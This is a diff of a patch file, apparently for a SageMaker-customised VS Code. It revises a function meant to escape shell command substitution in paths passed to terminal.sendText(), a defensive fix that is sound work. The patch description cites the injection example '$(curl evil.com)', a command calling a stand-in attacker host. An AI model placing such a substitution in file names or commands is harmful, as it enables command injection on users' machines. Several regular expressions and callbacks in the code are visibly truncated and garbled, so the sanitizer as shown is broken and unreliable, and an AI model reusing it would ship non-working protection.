diff --git a/patches/sagemaker/sanitize-terminal-sendtext-paths.diff b/patches/sagemaker/sanitize-terminal-sendtext-paths.diff index b399fa5..20eccee 100644 --- a/patches/sagemaker/sanitize-terminal-sendtext-paths.diff +++ b/patches/sagemaker/sanitize-terminal-sendtext-paths.diff @@ -2,20 +2,15 @@ Sanitize command substitution in path-like segments of terminal sendText File/folder names containing shell metacharacters (e.g., $(curl evil.com) or `cmd`) can trigger command injection when extensions send commands via -terminal.sendText(). This patch escapes $() and backtick command -substitution patterns inside path-like tokens (both double-quoted and -unquoted) before the text is written to the terminal process. - -Single-quoted paths are left alone since the shell does not interpret -special characters inside single quotes. Non-path tokens like $HOME in -"echo $HOME" are also left untouched to preserve intentional variable -usage. +terminal.sendText(). This patch escapes $(), ${}, and backtick command +substitution patterns when followed by / (path context) before the text +is written to the terminal process. Index: b/src/vs/platform/terminal/common/terminalEnvironment.ts =================================================================== --- a/src/vs/platform/terminal/common/terminalEnvironment.ts +++ b/src/vs/platform/terminal/common/terminalEnvironment.ts -@@ -68,3 +68,46 @@ export function sanitizeCwd(cwd: string) +@@ -126,3 +126,34 @@ export function sanitizeCwd(cwd: string) export function shouldUseEnvironmentVariableCollection(slc: IShellLaunchConfig): boolean { return !slc.strictEnv; } @@ -24,40 +19,28 @@ Index: b/src/vs/platform/terminal/common/terminalEnvironment.ts + * Sanitize shell command substitution patterns in path-like segments + * of terminal commands to prevent injection via malicious folder/file names. + * -+ * Targets: $(...), ${...}, and `...` inside path-like tokens. -+ * A path-like token starts with /, ~/, ./, ../ or is a quoted string containing /. ++ * Targets: $(...), ${...}, and `...` when followed by / (path context). + */ +export function sanitizeCdPathsInCommand(text: string): string { -+ // Strip newlines and null bytes to prevent command injection via line splitting ++ // Strip newlines and null bytes to prevent line-splitting injection + let result = text.replace(/[\r\n\x00]/g, ' '); + -+ // Handle double-quoted path segments: "...path..." -+ // Only escape command substitution patterns $( and ` and ${ — NOT bare $VAR ++ // Escape $(...), ${...}, `...` when immediately followed by / (path context) ++ result = result.replace(/(? { -+ const sanitized = inner -+ .replace(/(? '"' + inner.replace(/(?]|^)([^\s;|&<>]*\/[^\s;|&<>]*)/gm, -+ (pathToken: string) => { -+ // Skip already-quoted paths — handled above or safe (single quotes) -+ if (pathToken.startsWith("'") || pathToken.startsWith('"')) { -+ return pathToken; -+ } -+ return pathToken -+ .replace(/(? token.startsWith("'") || token.startsWith('"') ? token : ++ token.replace(/(? {